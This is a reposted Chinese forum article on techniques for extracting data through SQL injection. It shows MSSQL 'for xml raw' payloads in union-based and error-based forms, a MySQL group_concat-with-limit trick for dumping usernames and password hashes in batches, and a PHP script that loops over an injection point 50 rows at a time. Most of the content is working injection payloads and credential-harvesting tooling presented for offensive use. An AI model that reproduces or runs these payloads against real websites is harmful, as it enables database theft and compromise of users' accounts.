• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    SQL注入中获取数据的一些技巧分析

    发布者: 荣9319 | 发布时间: 2025-6-27 15:40| 查看数: 91| 评论数: 0|帖子模式

    一、MSSQL获取数据:

    用的比较多的就是for xml raw了,MSSQL2000都支持的!

    注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

    复制代码代码如下:select username from members where 1=2 union select top 3 username from members for xml raw
    返回(如果username重复,自动去除重复值):

    复制代码代码如下:
    <row username="admin"/><row username="Anna"/><row username="oldjun"/>
    select username from members where 1=(select top 3 username from members for xml raw)

    返回:

    复制代码代码如下:
    Msg 245, Level 16, State 1, Line 1
    Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.

    当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。

    二、MYSQL获取数据:

    用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。

    因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢?

    其实简单变动下SQL语句即可以实现group_concat与limit连用:

    复制代码代码如下:
    select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

    返回:

    guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6
    于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。

    三、给出部分示例代码(mysql group_concat 50条数据每次):

    复制代码代码如下:
    <?
    if ($argc < 3) {
    print_r('
    +---------------------------------------------------------------------------+
    Usage: php '.$argv[0].' start end(end: count/50)
    Example:
    php '.$argv[0].' 0 9999
    Authorldjun(http://www.oldjun.com)
    +---------------------------------------------------------------------------+
    ');
    exit;
    }
    error_reporting(7);
    ini_set('max_execution_time', 0);
    $start = $argv[1];
    $over = $argv[2];
    for($i=$start;$i<=$over;$i++){
    getdata($i);
    }
    function getdata($i)
    {
    $resp = send($i);
    if ($resp){
    preg_match('#<<<<<<<<<<([^\n]+)[^\n]+)>>>>>>>>>>#', $resp, $value);
    if($value){
    $namearr=explode("|||",$value[1]);
    $passarr=explode("|||",$value[2]);
    for($j=0;$j<50;$j++){
    echo $namearr[$j]."|||".$passarr[$j]."\r\n";
    }
    unset($namearr);
    unset($passarr);
    }else{
    echo $resp;
    echo "value error,return $i\r\n";
    getdata($i);
    }
    }
    else{
    echo "resp error,return $i\r\n";
    getdata($i);
    }
    }
    function send($i)
    {
    $limit=$i*50;
    //发送数据包代码省略
    //注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
    }
    ?>

    来源:https://www.jb51.net/hack/26338.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表